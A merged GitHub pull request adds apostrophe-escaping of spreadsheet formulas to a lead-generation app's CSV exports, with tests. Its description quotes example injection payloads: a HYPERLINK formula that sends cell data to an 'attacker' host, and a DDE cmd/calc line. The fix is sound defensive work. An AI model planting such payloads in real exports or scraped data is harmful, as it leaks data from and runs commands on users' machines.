Skip to content

fix(leads): neutralize spreadsheet formulas in lead CSV exports - #100

Merged
debpalash merged 1 commit into
debpalash:mainfrom
rudycelekli:fix/lead-csv-export-formula-injection-20261014
Oct 23, 2026
Merged

debpalash merged 1 commit into
debpalash:mainfrom
rudycelekli:fix/lead-csv-export-formula-injection-20261014

Conversation

@rudycelekli

@rudycelekli rudycelekli commented Oct 14, 2026 •

Copy link
Copy Markdown
Contributor

Summary

GET /api/export/csv and the CLI export (apps/api/services/leadgen/export.py) write lead fields straight into the CSV. Lead fields (company, contact, notes, ...) are scraped from third-party pages, so a value such as =HYPERLINK("http://attacker/?x="&A1,"Click") or +cmd|' /C calc'!A0 is executed by Excel or Sheets when the export is opened. The workbook export and the governance audit export in this repo already prefix such cells with an apostrophe; the lead exports did not.

Security-sensitive note (per CONTRIBUTING): this is output encoding on an export route, not an auth/tenancy/SSRF change. It is a spreadsheet-injection hardening, not a server-side vulnerability.

Change

csv_safe() in apps/api/services/leadgen/export.py applies the same rule as the other exports (cells starting with =, +, -, @, tab or carriage return get a leading ') and both lead exports use it. Numbers pass through unchanged, and so do phone-like strings (+1 (555) 010-0100, regex ^[+-]?[0-9][0-9 ().-]*$), because text with only digits and +-(). and spaces cannot hold a function name or cell reference, and escaping would corrupt every international phone number. Say so if you would rather escape those too, as the workbook export does.

Evidence

New tests/test_lead_csv_export.py (API route, CLI export, and 13 csv_safe cases). With csv_safe stubbed to a no-op, i.e. today's behavior, the API and CLI tests and the injection cases of the unit test fail:

assert '=HYPERLINK("..."&A1,"Click")' == '\'=HYPERLINK..."&A1,"Click")'   (route and CLI)
assert '=1+1' == "'=1+1"

Verification

  • After: uv run pytest tests/test_lead_csv_export.py tests/test_lead_create_collision.py tests/test_lead_list_pagination.py tests/test_lead_store_sqlite.py tests/test_lead_utility_endpoints.py tests/test_governance_export.py tests/test_lead_quality_gate.py: 44 passed.
  • Not run: full backend suite, PostgreSQL suite, frontend. The export route was exercised against the SQLite lead store only.

Commit is signed off per the DCO.

GET /api/export/csv and the CLI export wrote scraped lead fields straight
into the CSV. A company name, contact or note such as =HYPERLINK(...) or
+cmd|... is executed by Excel or Sheets when the export is opened. The
workbook and audit-log exports already prefix such cells with an apostrophe.

Add csv_safe() with the same rule (leading = + - @, tab or carriage return)
and apply it to both lead exports. Numbers and phone-like text such as
+1 (555) 010-0100 cannot contain a function or reference, so they stay as is.

Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
Signed-off-by: Rudy Celekli <47457359+rudycelekli@users.noreply.github.com>
@debpalash
debpalash merged commit 87ebebc into debpalash:main Oct 23, 2026
4 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants